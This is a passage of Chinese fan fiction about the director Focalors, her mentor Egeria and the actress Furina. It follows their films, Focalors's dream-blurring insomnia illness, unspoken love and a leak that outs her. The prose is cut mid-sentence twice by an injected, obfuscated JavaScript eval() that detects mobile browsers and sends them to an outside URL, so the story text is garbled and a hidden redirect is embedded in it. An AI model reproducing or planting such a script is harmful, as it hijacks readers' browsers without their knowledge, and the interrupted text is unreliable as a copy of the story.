她是那么憧憬厄歌莉娅。她的名字贯穿了她整个大学生活的二分之一。芙卡洛斯入学的时候,厄歌莉娅已经斩获大影节的最佳导演。那时芙卡洛斯拖着行李箱走在学校小径上,都能听到有人讨论她的作品,言谈间十分确信她将是近几届里最杰出的艺术导演。但这颗新星很快就陨落了。没有人知道为什么厄歌莉娅不再拍片了,她就是不再当导演了。即使是编导系内部的小圈子里,大家也都对此众说纷纭。大四的冬天,已经和厄歌莉娅成为至交的芙卡洛斯坐在公共教学楼一楼东侧的咖啡厅里,一边写本子一边听这些漂泊了四年依然长盛不衰的猜测与闲言,喝廉价的冰美式,就这样慢慢写她的《暴雨来电》。那时候她终于明白,在流言里的人和现实里的人完全是两个人。 总而言之,入学以后很长一段时间她都渴望结识厄歌莉娅,以一种矛盾的心态。她想知道那个已经毕业的传奇师姐是谁,她如何构思分镜,如何执掌镜头。但她从未想过她在狡兔酒吧遇到的调酒师就是厄歌莉娅本人。每次回想时她都既憎恨又感谢那个漏音的耳机,才能让小组讨论时那个厄歌莉娅的忠实粉丝的表白被本人截获。 好想见见以前的厄歌莉娅。成为调酒师以前的厄歌莉娅,意气风发的厄歌莉娅,初出茅庐的厄歌莉娅,声名鹊起的厄歌莉娅。她也会在狡兔酒吧开小组讨论会吗,她也会叼着面包攥着牛奶赶早八吗,她也会为一句斟酌不出来的台词怨恨自己的无能吗,她也会走在芙卡洛斯走过的鹅卵石路上,看校名被雨水冲刷得干净吗。那时芙卡洛斯并不明白自己何以对一个只听过名字的人产生如此莫名的执着,直到她见到厄歌莉娅,那一刻她全都明白了。 厄歌莉娅不高大,不帅气,不是令人惊艳的美。可你不得不承认她很耐看;而且她的确有一个很好听、很悲伤的名字。她不说话就将你攫入一段往事。如今的芙卡洛斯很难理解当时的情愫,也许她的确太需要一个精神寄托了。她太需要一个丰碑立在道路尽头,告诉她:用尽全力来触碰我,你就到达了拍出《宁芙之梦》的门槛。 后来她跨过了那个门槛,却并不感到快乐和轻松。与其说她抵达了那座丰碑,不如说丰碑自己倒塌了。 听到电流音告白的厄歌莉娅给她调了一杯苦艾酒,微笑着说,这是最适合小组讨论的搭档。 芙卡洛斯说,我没有点单。 这是我的礼物,免费。厄歌莉娅如此说着,转身去擦拭高脚玻璃杯。 那是芙卡洛斯第一次喝酒。还是烈酒。奶绿色的液体看起来无辜且无害,茴香味却一路摧枯拉朽烧断她所有的神经末梢,让她非常冷静地对耳麦说:你们所有的想法都是笑话。全国最好的编导系的学生只有这种水平?真令我失望。 那天是不是也在下雨?芙卡洛斯记不清了。但她生命的每一个重要节点都在下雨,她只是习惯了这一点。后来她们聊起这件事时都会刻意规避那杯苦艾酒,仿佛那次小小的越界只能发生在陌生人与陌生人之间,而不能发生在厄歌莉娅与芙卡洛斯之间。 想到厄歌莉娅就会想到芙宁娜。萨德说得对,她们是黄金三角。芙宁娜后来追随她们的脚步考入同一所高校,在表演专业。她们的年龄差错落有致地排列成等差数列,在时空中构成一个错位的三角。 芙卡洛斯其实知道芙宁娜为什么拒绝出演,所以她不会像追问厄歌莉娅那样追问芙宁娜。芙宁娜自己也不得不承认,她一直像个谎言,像个伪物。在所有人眼里,她是卡门是米娅还将是那伊阿得斯:她把芙宁娜弄丢了。进入无数角色、赋予角色生命的代价是她自己灵魂的沉重与疲惫,所有扮演过的角色和她长到一起,不分彼此。当她想要说“我是芙宁娜”时,发现芙宁娜之上已经攀上太多不属于芙宁娜的藤壶,遮住了最本真最原始的芙宁娜。她像是戴着一顶生锈的王冠,想要将之砸碎时,所有认识的不认识的人都从四面八方涌出来,七嘴八舌地指责她: 你不能这样做!你这样太自私了!我们根本不在乎谁是芙宁娜,我们只在乎卡门、米娅、那伊阿得斯…… 芙宁娜最后一次脱掉卡门的戏服时很狼狈。她一向亲力亲为,对每一个细节都力求做到最好。她从水洼里爬起来时,卡门还没完全从她身上褪去。那时候芙卡洛斯还心如止水地盯着监视器。但当芙宁娜抬起脏兮兮的脸颊,眼神里属于卡门的倔强消失,取而代之的则是属于芙宁娜的倔强时,芙卡洛斯听到自己的心跳得特别快。 拍摄《卡门之死》的三个月像一场梦。那时候芙宁娜还没有吃过爱情的苦,每天跟在剧组最有名的恋爱脑摄影师克洛妮艾身后讨教细节。当然,更重要的是与导演兼编剧芙卡洛斯之间的交流。身为有深厚功底和丰富经验的制片,厄歌莉娅也常常参与讨论。 当时芙卡洛斯走在路上都有些飘飘然,只有拍片的生活太美好了,美好得像童话。她一会儿是卡门,一会儿是唐·豪塞,一会儿是埃斯卡米里奥。她的世界一会儿是小说,一会儿是歌剧,一会儿是电影。她在路上走着走着都会笑出声,揣测卡门下一句话该说什么,她的双手怎样绞在一起,她的眉目会怎样传情。她在监视器后面看到卡门的灵魂从芙宁娜身上冉冉升起,心里的小人已经在手舞足蹈了,但面上还是冷静地说,再保一条。 有时她们之间会起分歧。芙卡洛斯想,芙宁娜的卡门和芙卡洛斯的卡门孰优孰劣呢?答案是没有答案。鲜活的卡门,鲜活的芙宁娜,鲜活的芙卡洛斯,她们都是真实的。那时芙卡洛斯刚刚二十岁,芙宁娜才十六岁,稚嫩得能掐出水来,她们争执起来很严肃,但因为年纪摆在那里,又不免显得有点幼稚。 人在二十岁时总以为自己会永远活着。如今芙卡洛斯三十岁了,她成了废弃的矿洞,已死的恒星。二十岁的感情都锈出铜绿,沉进苦艾酒,无法打捞。可二十岁的愿望还没实现,她就发现自己以光速衰老下去了。人生未半已觉老矣,这是一种逃避,还是一种自贬? 十年间她拍了五部电影。《卡门之死》、《暴雨来电》、《滂沱一日》、《焚舟》和《指尖宇宙》。或多或少,都在追问永恒的爱情。可她生命中最好的十年,从大二至今的十年,不过是这么五部电影,没有爱情。紧赶慢赶,一天就能看完。 一天就能看完一个人的十年。 年轻时喜欢总把永恒挂在嘴边,好像生命永远无病无灾无忧无虑。人们在十八岁时就过完一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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但我很喜欢,而且我知道你很喜欢。芙卡洛斯这样说,她是在用自己的声音和呼出的白气追逐芙宁娜上翘的尾音,想到这里她就痴痴地笑。她挥舞起手臂:总要有人言说痛苦。如果不言说,你就只知道自己很痛苦、很痛苦。你不知道那是一种怎样的疼痛,你不知道疼痛的原因。失语,就是从这里开始的。 芙宁娜笑起来:所以我要说呀,我要大声地说!我们不是已经在大声地向世界发出我们的声音了吗? 芙卡洛斯也笑,笑她在她耳边说话时倾吐薄荷酒的香气。她说,可是还不够,还不够。宇宙像海绵一样把我们的声音吸进去了,却没有吐出来。 芙卡洛斯,愚蠢、卑鄙、浅薄的女孩,不曾真正有过一个家,飘摇在天地间,无依无靠也自得其乐。她知道自己愚蠢、卑鄙、浅薄,但却比世界上绝大多数人要智慧、高尚、深刻。她总是梦到那伊阿得斯,她确信言说那伊阿得斯的故事是她的使命,也许并不是只有她邂逅了那伊阿得斯,可那些愚蠢、卑鄙、浅薄的人终其一生也不会意识到,那伊阿得斯如何穿透了他们的生命。她的金杯里盛满透明的液体,那并不是因为她太过脆弱、容易哭泣,而是因为她的生命就是连绵的雨本身。 她这样对芙宁娜说的时候,后者不解地歪了歪头问,为什么芙卡洛斯会有这样的使命感。 使命感?她无意识地重复,是啊,使命感。因为那伊阿得斯的故事值得、应该、必须被说出来。她的故事就是我的故事。我的故事就是宇宙的故事。 芙宁娜说,宇宙很大,我们很小。宇宙里有很多故事,我们也会有很多故事。 不是宇宙拥有我,而是我拥有宇宙。明白吗?我们并不在宇宙的内部,像核在苹果的内部。正相反,宇宙在我们的内部,迟早有一天,它会破核而出,生根发芽。 那个男声还在不知疲倦地歌唱。他的声音混着芙宁娜的声音一齐跌进雨中,芙卡洛斯几乎分不清他们在说什么。 芙宁娜踩着旋律歌唱一般说:会有一天,我的宇宙也从我的心脏里生长出来吗? 我想去见你不巧又碰上雨天 那就让我淋着雨绕过几条街 会的,会有那一天的,芙宁娜,我向你许诺。漫长的表演之后,我们会迎来最终的审判。看不清面容的审判者会在金色天秤的一端放上我们的心脏,另一端放上天使的羽毛,称量我们行过的善事,犯下的罪愆。会有那一天的。 你能否再靠近些带我逃离潮湿季节 快要溢出的思念像雨水在灵魂蔓延 但我是个罪人,她在心里补充说。 我想去见你不巧又碰上雨天 分不清我们到底是有缘没缘 这首歌还在继续。可芙卡洛斯身下的确是自己的床单。于是芙卡洛斯知道:这首歌就此刻入了她的生命。床单像柔软的苇草,最适合铺在棺木中。但她却无论如何都睡不着。该睡了,该睡了,全人类都已经入眠。你要一个人孤独地行走于世吗?难道酒精还不足以让你心满意足地与世界告别? 但她的确睡不着。她把厄歌莉娅和芙宁娜都想过一遍,还是睡不着。 失眠的时候,所有空气的湿度都在一瞬间变大,宛如烤箱里不断膨胀的面包向她蜂拥而来,很快就把她的呼吸挤得狭窄。她行走在千万年来所有人类的坟墓道间,他们都已沉眠。万籁俱寂,她又想起厄歌莉娅。厄歌莉娅的那伊阿得斯是怎样的故事? 真奇怪,此时躺在她身边的明明是芙宁娜,不是吗? 是芙宁娜把烂醉如泥的她带了回来,扶上床。但她贴得太紧,不愿放开手中唯一的热源,她们像两个即将溺死的人纽结在一起并排倒到床上,却谁也不看谁。于是根本无法分辨谁是神父,谁是罪人。 芙卡洛斯伸手拉下床头灯绳。 啪地一声,宇宙熄灭了。 20. 失眠症候群(三) 03 暗恋桃源 芙卡洛斯醒来的时候,身边已经空了,没有余温。她给厄歌莉娅打电话,抱歉地说昨晚喝断片了,实在不好意思。 厄歌莉娅温柔地说没有关系。希望你睡得好,她说,我走时你还依依不舍地抱着我的胳膊呢。 是前辈送我回来的吗?芙卡洛斯揉着太阳穴,不是芙宁娜吗? 芙卡洛斯,也许你该好好休息一下。厄歌莉娅沉默了几秒才笑着说。 IS的典型临床表现为难以入眠,或睡眠质量下降,同时伴有梦游、梦话等症状,患者初期便开始混淆梦境与现实,随病程进展逐渐加重,常被误诊为精神分裂症。芙卡洛斯想起医生的话。她大概明白是怎么回事了。 她的确是罪人。如果爱着同性是一种罪孽,那么同时爱上两个同性,大抵是最深的罪孽。 芙卡洛斯至今仍清晰地记得芙宁娜来试镜的样子。她还是个十六岁的高中生,但走进来的时候很沉稳。她说:我是芙宁娜,偶然看到你们招募的海报,对卡门这个角色很感兴趣,就来试镜了。坐在长条桌子中间的芙卡洛斯注意到她手里提着一个抽杆夹,透明封面印出里头的文件,被荧光笔和各色中性笔密密麻麻爬满。喊下“action”的一瞬间芙宁娜的眼神就变了,不羁又缠绕。芙卡洛斯知道,此刻卡门就站在她面前。 于是她说:“希望我们合作愉快。” 可以说,芙宁娜和芙卡洛斯是同时声名鹊起的,都因为《卡门之死》。故事起源自芙卡洛斯的课程作业,现代的卡门——这只是个命题作文,有点老套。但芙卡洛斯偏爱那些老套的故事,她总是很擅长把老套的故事拍得细致入微。那维莱特说她的东西细腻得令人毛骨悚然。作为隔壁学院电影学专业的教授,他说的话无论正确与否都会受到大肆追捧,何况他的影评总是言简意赅、鞭辟入里。 他们第一次见面是在《卡门之死》放映会,那维莱特受邀作为学术顾问参加。芙卡洛斯第一次见这么年轻的教授,他们在台上礼貌地握了握手。按照流程,那维莱特谈了谈自己对这部影片和新锐导演的看法,芙卡洛斯并没有机会给出任何回应。结束后他们沉默着肩并肩走到化妆室门口。 那维莱特老师,我希望你不要通过我的作品猜测我。芙卡洛斯如是说。 别爱抽象的文字。爱具体的生活。那维莱特如是说。可我要纠正一点:我并不是在猜测你,我只是通过你的电影直观到一个淋雨的灵魂。 后来影史普遍认为《卡门之死》最经典的镜头是最后一幕:卡门在雨中起舞,像一个浪漫的疯子。曾经耀眼的裙子紧紧贴在身上,如同最落魄的乞丐。但她开怀大笑,一直旋转旋转直到路灯一盏又一盏熄灭。啪地一声,她倒下了,雨水和泥泞一起扑灭了最后一盏路灯微弱的余晖。 影史还喜欢套用那维莱特在放映会上的评价做总结:卡门以此宣告了她永不服输的一生的终结,芙宁娜以此宣告了她注定青史留名的演艺生涯的开端。至于芙卡洛斯,她用最学院派的方式演绎最循规蹈矩的题材,却言说了最离经叛道的生命经验。 距离敲定《宁芙之梦》剧本两年后,厄歌莉娅终于完成了全部的前期准备工作,芙卡洛斯也不得不铤而走险去拍这部电影了。IS已进展到末期,周围所有人都已经发现她的不对劲。再不拍,此生恐怕都没有机会了。被这样的现实鞭策着,芙卡洛斯终于做出决断。这两年里她搁置了其他全部工作,全心全意投入到剧本的修改之中。她向芙宁娜承诺过,《宁芙之梦》将和雨无关,她必须践行她的承诺。 我是那伊阿得斯,你是谁? 我是那伊阿得斯,你又是谁? 如果我是你,你是我吗? 我知道你不是我。如果你是我,现在就应该打破这面镜子了。 如果每一个那伊阿得斯都有这样微小的区别——我们是平行世界的那伊阿得斯吗? 也许根本没有平行世界。镜子里的你,本来就不是你。 这样的台词是不是太不知所谓了。芙宁娜吃着香蕉说。化妆师一边发出惨烈的尖叫让她停止进食如此高糖的水果,一边目眦欲裂地看着她的经纪人娜维娅递来一只新鲜出炉的马卡龙。 芙宁娜咽下小巧的甜点,含糊地说,今天我可要连轴转呢,不补充糖分怎么行。 厄歌莉娅抱着双臂在一旁看戏:芙卡洛斯的正常发挥。只要观众多三分钟耐心就好了。 可惜现在的观众很难挤出宝贵的三分钟,克洛琳德说,她递来一个托盘,上面是五杯黑咖啡。请用。芙卡洛斯托我转告诸位,她觉得还是有必要在正式开拍前开最后一次剧本会,时间是两小时后。 克洛琳德调整好幻灯片,擦净白板,将一份份尤有余温的剧本和矿泉水摆好。 【第一百三十六场,阴天,露景泉前。 那伊阿得斯提起裙摆。她赤足踏过一地玻璃,凝神静听露景泉中的哭声。听着听着,她低下头看自己提着裙摆的血色双手。她弯下身子在喷泉里净手,发现泉水被血染红。她索性在喷泉边坐下。不再整理裙子,不再绑好头发。她安然等待着审判。】 芙宁娜叼着笔,听芙卡洛斯按时间顺序梳理剧情。没有人说话,尽管他们都发现这件事对芙卡洛斯来说十分吃力。她必须借助白板,以及不断告诫自己白板是正确的、记忆是错误的信念才能勉强为继。芙宁娜一边听一边改。她承认,她现在喜欢这个故事了,但那并不是因为她喜欢那伊阿得斯,而是因为芙卡洛斯。任谁看到这样的芙卡洛斯,都会忍不住帮她一把的。 【第一百三十六场,阴天,露景泉前。 那伊阿得斯提起裙摆。她赤足踏过一地玻璃,浑然不顾自己的血流了一地,凝神静听露景泉中的哭声。那哭声仿佛是很多很多那伊阿得斯一齐痛哭。她低下头看自己提着裙摆的双手。纤细,柔弱,苍白,沾满血色,指甲缝里藏污纳垢。她弯下身子在喷泉里净手,发现泉水被血染红。她已不再慌乱、只知逃跑,索性在喷泉边坐下。她也不再整理裙子,不再绑好头发。她知道自己的生命即将迎来审判,只是安然等待着。】 芙卡洛斯看完便释然地笑了。如果有一天你不想演戏了,我相信你也会是十分优秀的导演,她说。 这话说得太悲壮了。芙宁娜知道她是什么意思。无非是说,假若这次拍摄中断流产,她会将《宁芙之梦》托付给芙宁娜。 芙宁娜说:可我不愿意当导演。我是不是从来没有告诉过你,你是我心目中最好的导演?你的雨不仅困住了你,也困住了我。 芙卡洛斯非常吃力地想了想:在此之前,我并不知道。我以为你坚定地要同我分道扬镳。 那你现在知道了,芙宁娜合上剧本,现在知道也不算晚。 是的,不晚,芙卡洛斯说,谢谢你告诉我。 芙宁娜凝视她的双眼,芙卡洛斯予以真诚的回望。 好吧,芙宁娜叹口气说,我知道不能苛求你太多,但是我希望我们的关系能够是你三十岁时的关系,而不是二十岁的。 这次换芙卡洛斯叹气了。因为IS,她的生命宽度被人为加宽,她分不清关于这十年的记忆里,哪些是事实,哪些只是她一厢情愿的幻想。但她觉得不能坐以待毙,于是问道: “我有问过你一个问题吗,无论是二十岁,还是三十岁的时候?我可能没有问过你——女孩和女孩,她们会生出后代吗?” 芙宁娜刚要回答,敏锐地察觉到什么,回过头去。但她只看见一团稍纵即逝的黑影。 “没有问过,芙卡洛斯,没有问过。”她遗憾地说。她几乎是无力地呐喊:如果你真的问过我,你问过我女孩和女孩会不会生出后代,也许终其一生,我都不再想要走出那片雨了。这世界上只有你与我的灵魂最相似,你不会不知道这一点。你的雨甚至淋湿了我。 芙宁娜的生命从十六岁起就与芙卡洛斯密不可分。她曾是卡门也曾是米娅,中途虽曾在别的导演手下贡献精彩绝伦的演技,但在影评里,人们仍由衷地赞美,只有芙卡洛斯拍出了芙宁娜最独一无二的美。她们对此心知肚明。 爱就是这样不知所谓、又有着神奇力量的东西。 芙卡洛斯镜头里的芙宁娜几乎没有收到过恶评。虽然有人说她的表演用力过猛,但她知道如何分辨有价值的意见与没有根据的评论。 而芙卡洛斯和莱欧斯利合作的《焚舟》就有太多唱衰的声音。有人说众所周知的硬汉帅哥被芙卡洛斯拍成了没有头脑只知道呈英雄的肌肉男,有人说整个《焚舟》都妄图解构诺亚方舟的故事,最终只散落一地木板,没有一艘船从港口驶出,还有人说片子里最值得一看的就是七七四十九天的风雨,芙卡洛斯到头来还是只会拍雨,她的导演生涯也就到此为止了。 芙宁娜看过《焚舟》,不仅看过还细细观摩了好几遍。《焚舟》成就了迄今为止最年轻的影帝,当然值得她反复揣摩。她直觉莱欧斯利在其中又有一次崭新的蜕变,那是一种真正置之死地而后生的改变。后来在一次颁奖典礼上她终于遇到莱欧斯利,赶忙请教。对方摸着下巴思忖地回答,芙宁娜小姐,我真的很佩服您——能在芙卡洛斯导演手下走过一遭,还愿意走第二遭的人恐怕不多。当然,收获远大于付出,只是风险太大,必须慎重为之。 那维莱特为《焚舟》写的影评也毁誉参半。有人说他收了钱在营销,但他只说,先锋必须承担骂名,否则便是庸俗。 芙宁娜不会说这么学术的评语,但她知道《焚舟》很好。有时她也遗憾自己没有参与进去,但芙卡洛斯和芙宁娜的深度绑定对她们的职业生涯来说都不是好事。《滂沱一日》上映后,有人直言不讳地说她们彼此暗恋。镜头像在抚摸芙宁娜一般,从她的发丝到双眸。芙卡洛斯拍其他任何一个人都不曾如此缱绻,芙宁娜直视任何一个人的镜头时都不曾如此灵动。等到她们再度合作《指尖宇宙》时,她们谁也没再克制不住自己的心动,成熟、体面、克制,芙宁娜以为这就是长大,就是正确的选择。 不可否认,《焚舟》也给了芙宁娜看看世界的机会。离开厄歌莉娅和芙卡洛斯的剧组,芙宁娜才发现其他剧组是什么样子。相较起来,前者简直是梦幻的乌托邦。 芙宁娜不想被过度包装。膨胀的袋子倒出一两颗少得可怜的劣质糖果,她不想做那颗食之无味弃之可惜的糖。绝大部分工作都是娜维娅推掉的,她像姐姐一样纵容芙宁娜的任性。 可她也反复劝告芙宁娜,不要越过那条界限。那条界限之后不会是彩虹。恰恰相反,那七色的弧光不过是海市蜃楼。直到道具组的考普尔爆料那天,芙宁娜终于明白这句话是什么意思。 “那伊阿得斯的现实世界回忆部分的戏,必须特别注意。那是她第一次去海边,发现自己对海水过敏。设计这个情节,是因为那伊阿得斯是泉水仙女。淡水的江河湖泊、溪流山泉乃至井水的精灵就是那伊阿得斯,而海洋的精灵则是俄刻阿尼得斯诸女神。虽然都是宁芙,她们之间却有咸水与淡水的本质差异。”芙卡洛斯如是说。 “露景泉是一切淡水汇集之处,泪水承载了最强烈的感情。所以,那伊阿得斯其实一直都在被强烈的感情冲击,她只是不知道这种感情从何而来,又属于谁。然而,所有的江河泉流都是她的延伸。”芙宁娜翻看剧本,习惯性地接着芙卡洛斯的话说下去。 她说完她们就沉默了。芙卡洛斯看到自己手把手教出来另一个芙卡洛斯,芙宁娜看到自己忠实地踩着芙卡洛斯的影子前行。这让她们不约而同地想起拍《卡门之死》和《暴雨来电》的日子。她们的年龄差刚好让她们未曾在校园里真正相遇,然而剧本里某个咖啡厅的新品,某处石子路的形状,某个被雨水打磨光滑的牌匾,都让她们心领神会:她们一前一后走在同一个学校的同一条路上,中间只隔了四年光阴。 第一天的拍摄收工后只剩下她们三个人。器材七零八落摆了一地,她们一盏一盏地关掉所有的灯。 走着走着芙宁娜便开始练习她明天的台词:水面呼唤倒影,以填满自身的空虚。 芙卡洛斯流利地接上:镜面也是如此呼唤倒影,以填补自身的残缺吗? 厄歌莉娅心领神会:倘若我亦如此呼唤,倒影何不从镜中而出,教我圆满永恒? 她们总是这样,把属于自己的不属于自己的台词都记得滚瓜烂熟。需要的时候便从记忆里抓出一团乱絮,真切地意识到旁人电影院里的短暂一天是融入她们骨血的十年。芙卡洛斯说,你们记不记得《暴雨来电》杀青的时候,学校西门的小酒馆在放《圣诞快乐,劳伦斯先生》。我们踩在积雪上背诵北野武的台词,那简直是我的尤里卡时刻! 她们大笑着从一团黑暗里走出,走进灯火通明的酒店。再见,再见,明天见。芙宁娜第一个钻进房间,然后是芙卡洛斯。 厄歌莉娅拉住芙卡洛斯。她总会巧妙利用和芙卡洛斯之间六厘米的身高差,让自己的吐息拂过她的眉毛眼角。芙卡洛斯的睫毛颤动一秒。 “晚安。希望你今晚不用再吃思诺思。”她如此说。 芙卡洛斯点点头,她的目光游 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15099063|163753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 移地探向厄歌莉娅身后。厄歌莉娅回过头去,只看到空荡荡的墙角。她问芙卡洛斯怎么了,后者只是摇摇头,同她告别后关上了房门。 【第一百九十一场,镜宫,装潢华丽的镜子房间。 那伊阿得斯从左侧走进镜头。镜中的她冲她张开双臂,邀她共舞,小步舞曲的鼓点欢快密集。 那伊阿得斯:我是那伊阿得斯,你是谁? 那伊阿得斯将自己的手递到对方掌中。 镜中的那伊阿得斯:我是那伊阿得斯,你又是谁? 她们错开身量,彼此俯身行礼,然后踮起脚尖。 那伊阿得斯:如果我是你,你是我吗? 镜中的那伊阿得斯跳着舞旋转到她身边,骄矜地昂了昂下巴,指向她们对面的水晶镜子。 镜中的那伊阿得斯:我知道你不是我。如果你是我,现在就应该打破这面镜子了。 她们再度错身,面对面站好。 那伊阿得斯:如果每一个那伊阿得斯都有这样微小的区别——我们是平行世界的那伊阿得斯吗? 裙摆在镜中开出无数瓣花,她们的左手搭上对方的肩膀,右手十指相扣。 镜中的那伊阿得斯:也许根本没有平行世界。镜子里的你,本来就不是你。 她们随着华彩转了个圈,裙摆飞扬。】 场记喊了action。芙卡洛斯坐到监视器后。 芙宁娜理了理裙摆,从左侧走进镜头。可镜头里镜子后面的替身却没及时就位,芙卡洛斯皱着眉头喊停,一边喊一边自己走到镜子后面,示意厄歌莉娅接替她的位置。 芙宁娜:我是芙宁娜,你是谁? 芙宁娜将自己的手递到芙卡洛斯掌中。 芙卡洛斯:不,你现在应该是那伊阿得斯。 她们错开身量,彼此俯身行礼,然后踮起脚尖。 芙宁娜:如果我是那伊阿得斯,那芙宁娜又是谁? 芙卡洛斯的鞋跟彼此碰了一下,她跳了个小步,旋转到芙宁娜身边,骄矜地昂了昂下巴,指向她们对面的水晶镜子。 芙卡洛斯:芙宁娜是那伊阿得斯的载体。 她们再度错身,肩膀擦过肩膀,面对面站好。 芙宁娜:不,那伊阿得斯是我的化身。你之所以写出那伊阿得斯,是因为我。 她们的左手搭上对方的肩膀,右手十指相扣。芙卡洛斯发现这场舞已经不受她的掌控,她只能被动地跟随芙宁娜的节奏。 芙卡洛斯:不是的,不是的。我没有要将见不得人的爱公之于众! 她们随着华彩转了个圈。 芙卡洛斯发现自己没有换戏服。但当她回过神来的时候,她又发现自己好端端地坐在监视器后。厄歌莉娅在不远处打电话,芙宁娜的戏正演到高潮。 她明白IS已经侵入她的生活太多,深入骨髓。她在平板上写下了这一段,用很大的线条将它们框起来,大大地标注,IS。 厄歌莉娅曾经问过,露景泉的造型该是什么样的,她好让道具组准备。芙卡洛斯想了想说,其实就是仙女喷泉呀,安妮公主和格里高利相遇的地方。厄歌莉娅点点头说我知道了,又不经意似地问,为什么不是小喷泉呢? 小喷泉没有名字,就叫小喷泉。芙卡洛斯去公教、去图书馆都要路过小喷泉。厄歌莉娅也曾端着咖啡,穿过放课的人潮,走到小喷泉后面,找到蜷缩在一旁长椅上的芙卡洛斯,对她说,我已经组建好班底,我们去拍《卡门之死》。 后来芙宁娜也踢踏着脚步,路过小喷泉去教室去排练室去工作室。那时候《卡门之死》如日中天,令她们名声大噪。但小喷泉仍然没有名字,大家只是默契地说,小喷泉见。 芙卡洛斯想了想说,小喷泉载不动醉舟呀。 她们也曾经折过五彩缤纷的纸船,希望它久久地漂浮在喷泉上。可惜第二天它们就沉没破碎,成了喷泉底一团没有名姓的垃圾,等到每周一次的清洁日被打捞上岸,沉寂在许许多多花花绿绿的包装袋里。 曾被弃置的醉舟只有在相隔万里的仙女喷泉才可能再度挥桨。芙卡洛斯说,因为它在那么遥远的国度,不用担心旁人的眼光与碎语。 厄歌莉娅的手指攀上她的脸庞。她说,只要你愿意,我随时可以为你调一杯苦艾酒,随时可以陪你去放一只醉舟。 芙卡洛斯微笑着,并不言语,她的泪却顺着脸颊被厄歌莉娅收容到手心里去了。 当我顺着无情河水只有流淌, 我感到纤夫已不再控制我的航向。 时至今日她们依旧背着兰波的《醉舟》,依旧对彼此心知肚明的爱情故事保持沉默。芙卡洛斯对厄歌莉娅说,不用送了。于是她拍掉了围巾上的雪花,一次次离开厄歌莉娅的视线。 杀青宴结束的时候,雪落了下来。芙卡洛斯三十二岁这年的圣诞节和三十岁那年别无二致,她们三个用力地踩着蜷缩的硬树叶地毯上,发出嘎吱嘎吱的声音,像在踩两年前的积雪。 与之前所有电影兴致勃勃的杀青不同,《宁芙之梦》的杀青是无声的。所有人都知道:芙卡洛斯也许再也不会拍电影了。她的IS严重到每日拍摄工作的进行都十分艰难。如果没有她的朋友们,没有厄歌莉娅、芙宁娜、克洛琳德、娜维娅,这部电影甚至不可能拍完。 远处的烟花高高地升起来了,厄歌莉娅说:“今天是新年前夜啊。” 芙宁娜茫然地眨了眨眼。雪花挂在她狭长的睫毛上,看起来不堪重负:“今年是宁芙之年。” 厄歌莉娅说:“今年也是芙卡洛斯之年。” 她们对视一眼。无须多言,她们已心领神会:她们爱着同一个人,她们的生命里有整整三分之一献给了她。 黄金三角像三个小小的黑点移动在落雪的街道上。在她们身后,不知名店铺淡蓝色调的音响追上来。 My friend will you fly with me into fire/今夜你会和我一起扑火吗,我的朋友 it''s New Year''s Eve/在新年前夜 We''re allowed tonight to pretend we''re free/今夜我们装作无拘无束 Promise me on New Year''s Eve/予我承诺,在新年前夜 芙卡洛斯慢慢随着旋律哼唱起来。 零点的钟声响起时,一左一右的声音同时说。 祝你新年快乐。 21. 失眠症候群(四) 04 诗人何为 还没等夏洛蒂的最新采访发表,“芙卡洛斯是同性恋”的消息就传遍全网。无数个手机有志一同地播放着同一段录音和视频。 录音开始是嘈杂的,克洛琳德和娜维娅谈论着剧本的声音弱下去,芙宁娜的声音越众而出:“好吧,我知道不能苛求你太多,但是我希望我们的关系能够是你三十岁时的关系,而不是二十岁的。” 然后是芙卡洛斯迟疑的回答:“我有问过你一个问题吗,无论是二十岁,还是三十岁的时候?我可能没有问过你——女孩和女孩,她们会生出后代吗?” 她的声音慢慢低下去,像一片羽毛落到水面上。 视频里则是厄歌莉娅以一种几乎环抱的姿势,半搂着芙卡洛斯。她微微低头在芙卡洛斯耳边说着什么,她们亲密得像在接吻。 厄歌莉娅在电话里对克洛琳德说:道具组的考普尔我已经开除了。 但影响恐怕一时半会儿不会消弭了。克洛琳德如此回答。 芙卡洛斯躺在床上,摸着芙宁娜柔软的毛。猫好像知道她的心情很差,安静地在她身旁打盹。 “芙卡洛斯同性恋”在热搜上挂了一天一夜,芙卡洛斯也就如此躺了一天一夜。期间“宁芙之梦”、“芙宁娜 那伊阿得斯”“黄金三角再合作”都没把这个热搜拉下来。厄歌莉娅给她打了很多电话,她一个也没有接。只在聊天框里对她说,等夏洛蒂的采访发表吧。 厄歌莉娅只好去问夏洛蒂。夏洛蒂说,你不知道吗? 知道什么?厄歌莉娅的心一沉。 芙卡洛斯坦承了所有……她的IS如何给她造成困扰,她如何同时爱着两个女人。但她没有告诉我是谁,这是当然的,我没有权利去挖掘她们的故事。夏洛蒂的声音从电话里传来,有些失真,连带着她说的内容都一并变得不真实起来。 厄歌莉娅小心翼翼地问,那你……你是怎么看的呢。 夏洛蒂想了想说,我很佩服芙卡洛斯的勇敢。尽管我知道,这篇报道发出去后,一定是铺天盖的谩骂和质疑,可她是真实的鲜活的灿烂的,她也许已经做好了面对一切的准备。我们每个人都有义务了解失眠症候群,也都有义务了解爱是怎么一回事。 谢谢你,厄歌莉娅不知道说什么好,于是只是一直重复,谢谢你。 挂断电话,夏洛蒂回到桌边继续校对自己的文稿。她看过太多爱憎,因此知晓芙卡洛斯的勇气何等辉煌。 于是她提笔写道: 爱轻如鸿毛又摧枯拉朽。 芙卡洛斯曾对芙宁娜说,不要浪费青春啊,你也需要去别的导演手下走走。 芙宁娜以一种近乎撒娇的语气说,明明是青春在浪费我。 